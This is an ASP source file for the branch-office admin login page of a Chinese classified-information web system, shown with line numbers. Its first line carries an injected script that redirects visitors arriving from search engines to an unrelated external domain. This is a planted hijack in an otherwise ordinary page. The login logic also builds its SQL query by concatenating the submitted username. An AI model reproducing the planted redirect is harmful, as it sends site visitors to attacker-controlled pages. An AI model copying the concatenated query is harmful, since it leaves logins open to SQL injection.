d:\wwwroot\wuchunhua\cityadmin\login.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="Conn.asp"-->
002: <!--#include file="../admin/other/Check_Sql.asp" -->
003: <!--#include file="md5.asp" -->
004: <% RandNum=Session("CheckCode")
005:     response.expires = -1
006:     if request("Action")="Login" then
007:     username=HtmlEncode(trim(Request.form("username")))
008:     password=HtmlEncode(replace(trim(Request.Form("password")),"'","''"))
009:     Md5_Pass=md5(password)
010:     GaobeiSys_CheckCode=replace(trim(Request("GaobeiSys_CheckCode")),"'","")
011:     if username="" or password="" then
012:     Response.write"<script>alert(""用户名和密码不能为空! "&Copyright&" "");location.href=""login.asp"";</script>"
013:     Response.end
014:     end if
015:     if GaobeiSys_CheckCode<>CStr(session("CheckCode"))  then
016:     Response.write"<script>alert(""验证码不正确,请刷新后重新登陆 "&Copyright&" "");location.href=""login.asp"";</script>"
017:     Response.end
018:     end if
019:     set rs=server.createobject("adodb.recordset")
020:     sql="select * from china_city  where cityadmin='"&username&"'and citypass='"&Md5_Pass&"'"
021:     rs.open sql,conn,1,1
022:     if not rs.EOF then
023:    session("china_cityadmin")=username
024:    session("china_city")=rs("city")
025:    session("oneid")=rs("id")
026:    session("twoid")=rs("twoid")
027:    session("threeid")=rs("threeid")
028:    rs.close
029:     set rs=nothing
030:     conn.close
031:     set conn=nothing
032:    Response.Redirect ("index.asp")
033:     else
034:     Response.write"<script>alert(""请输入正确的管理员名字或密码! "");location.href=""login.asp"";</script>"
035:    rs.close
036:     set rs=nothing
037:     conn.close
038:     set conn=nothing
039:    Response.End
040:     end if
041:     end if
042:     if request("Action")="LoginOut" then
043:     Session("china_cityadmin")=""
044:    Session("china_city")=""
045:    session("oneid")=""
046:    session("twoid")=""
047:    session("threeid")=""
048:     conn.close
049:     set conn=nothing
050:      Response.write"<script>alert(""退出成功! "&Copyright&" "");location.href=""login.asp"";</script>"
051:     end if
052: %
>
053: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
054: <title><%=webname%>--<%=session("china_city")%>分站后台管理系统</title>
055: <META http-equiv=Content-Type content="text/html; charset=gb2312">
056: <link href="other/style.css" rel="stylesheet" type="text/css">
057: <STYLE type=text/css>    
058: .style4 {
059:    FONT-WEIGHT: bold; FONT-SIZE: 12px; COLOR: #ffffff
060:     }
061:     BODY {
062:    MARGIN: 0px
063:     }
064: .style5 {font-size: 9pt}
065: .style6 {
066:    font-size: 10.5pt;
067:    font-weight: bold;
068: }
069: </STYLE>
070: <BODY>
071: <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" bgColor=#00309c border=0>
072:   <TBODY>
073:   <TR>
074:     <TD vAlign=center height="26%"> </TD></TR>
075:   <TR>
076:     <TD height=2>
077:       <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
078:         <TBODY>
079:         <TR>
080:           <TD
081:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#5A7EDC', EndColorStr='#C7DDFF')"
082:           width="31%" height=2></TD>
083:           <TD
084:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#C7DDFF', EndColorStr='#5A7EDC')"
085:           width="69%" height=2></TD></TR></TBODY></TABLE></TD></TR>
086:   <TR>
087:     <TD bgColor=#5a7edc height="48%">
088:       <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0>
089:         <TBODY>
090:         <TR>
091:           <TD style="PADDING-RIGHT: 12px" align=right width="57%">
092:             <DIV style="PADDING-RIGHT: 40px"></DIV>
093:             <DIV style="FONT-WEIGHT: bold; FONT-SIZE: 14pt"><BR>
094:               <TABLE cellSpacing=3 cellPadding=5 width="505" border=0>
095:                 <TBODY>
096:                 <TR>
097:                   <TD width="489" colspan="2"><span class="style6"><font color="#FFFFFF">===分站后台管理系统===</font></span></TD>
098:                 </TR>
099:                 <TR>
100:                   <TD width="214">
101:                     <DIV align=left>
102:                       <script language="JavaScript">
103:     <!--
104:     // Randomizer
105:     rnd.today=new Date();
106:     rnd.seed=rnd.today.getTime();
107:     function rnd() {
108:     rnd.seed = (rnd.seed*9301+49297) % 233280;
109:     return rnd.seed/(233280.0);
110:     };
111:     function rand(number) {
112:     return Math.ceil(rnd()*number);
113:     };
114:     // end randomizer. -->

115: </script>
116:                       <script language="JavaScript">
117:     <!--
118:     document.write('<IMG SRC="../images/poto/china_logo' + rand(6) + '.jpg">');
119:     //-->

120: </script>
121:                     </DIV>
122:                   </TD>
123:                   <TD width="262" valign="bottom">
124:                     <p><img border="0" src="../<%=chinalogo%>" alt="<%=webname%>"></p>
125:                     <p class="style5"><font color="#FFFFFF">中国分类信息网V4.4商业正式版</font></p>
126:                     <p class="style5"><font color="#FFFFFF">我们一直在努力,所以每天在进步</font></p>
127:                   </TD>
128:                 </TR>
129:                 <TR>
130:                   <TD width="489" colspan="2"> </TD>
131:                 </TR>
132:                 </TBODY>
133:               </TABLE>
134:               <SPAN
135:             class=style4><BR><BR></SPAN></DIV></TD>
136:           <TD width=1>
137:             <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%"
138:             border=0>
139:               <TBODY>
140:               <TR>
141:                 <TD
142:                 style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#5A7EDC', EndColorStr='#C7DDFF')"
143:                 height="50%"></TD></TR>
144:               <TR>
145:                 <TD
146:                 style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#C7DDFF', EndColorStr='#5A7EDC')"
147:                 height="50%"><IMG height=1
148:                   src=""
149:                   width=1> </TD></TR></TBODY></TABLE></TD>
150:           <TD id=td0 width="43%">
151:             <form name="login" method="post" action="login.asp?Action=Login" target="_top">
152:             <IMG height=15 alt=中国分类信息网 src="images/logo/footc.jpg"  width=1>
153:             <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0>
154:               <TBODY>
155:               <TR>
156:                 <TD vAlign=center align=middle>
157:                   <div align="center">
158:                   <TABLE id=table1 style="MARGIN: 20px" cellSpacing=3
159:                   cellPadding=5 width="93%" border=0
160:                   valign="middle">
161:                     <TBODY>
162:                     <TR>
163:                       <TD align=middle colSpan=3></TD></TR>
164:                     <TR>
165:                       <TD noWrap align=right>
166:                         <DIV class=style4 align=right>管理帐号:</DIV></TD>
167:                       <TD colSpan=2>
168:                       <input name="username"  type="text"  id="UserName5" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 110px; BORDER-BOTTOM: 1px solid"
169: maxlength="20" class="login"></TD></TR>
170:                     <TR>
171:                       <TD align=right>
172:                         <DIV class=style4 align=right>管理密码:</DIV></TD>
173:                       <TD colSpan=2><input name="password"  type="password" id="Password3" maxlength="20" class="login" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 110px; BORDER-BOTTOM: 1px solid">
174:                       </TD></TR>
175:                     <TR>
176:                       <TD align=right>
177:                         <DIV class=style4 align=right>验证码:</DIV></TD>
178:                       <TD width=83>
179:                       <input name="GaobeiSys_CheckCode" type="text" class="login" id="GaobeiSys_CheckCode" size=12 maxlength="20" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 70px; BORDER-BOTTOM: 1px solid"></TD>
180:                       <TD width=214><img src="../admin/other/china_GetCode.asp"></TD></TR>
181:                     <TR vAlign=center align=left>
182:                       <TD colSpan=3 height=40>&nbsp;&nbsp;&nbsp;&nbsp;<STRONG>
183:                       <input type="submit" name="Submit3" value=" 登陆 " style="BORDER-RIGHT: #5a7edc 1px; BORDER-TOP: #5a7edc 1px; BORDER-LEFT: #5a7edc 1px; WIDTH: 40px; COLOR: white; BORDER-BOTTOM: #5a7edc 1px; BACKGROUND-COLOR: #5a7edc">
184:                       <input type="reset" name="Submit2" value=" 重置 " style="BORDER-RIGHT: #5a7edc 1px; BORDER-TOP: #5a7edc 1px; BORDER-LEFT: #5a7edc 1px; WIDTH: 70px; COLOR: white; BORDER-BOTTOM: #5a7edc 1px; BACKGROUND-COLOR: #5a7edc">
185:                         </STRONG>
186:                         <DIV align=center></DIV></TD></TR></TBODY></TABLE></div>
187:             </TD></TR></TBODY></TABLE></FORM></TD></TR></TBODY></TABLE></TD></TR>
188:   <TR>
189:     <TD>
190:       <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
191:         <TBODY>
192:         <TR>
193:           <TD
194:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#0C3CA1', EndColorStr='#F49538')"
195:           width="31%" height=2></TD>
196:           <TD
197:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#F49538', EndColorStr='#0C3CA1')"
198:           width="69%" height=2></TD></TR></TBODY></TABLE></TD></TR>
199:   <TR>
200:     <TD vAlign=bottom align=right height="26%">
201:       <DIV align=right>
202:       </DIV></TD></TR></TBODY></TABLE></BODY></HTML>
203:
204: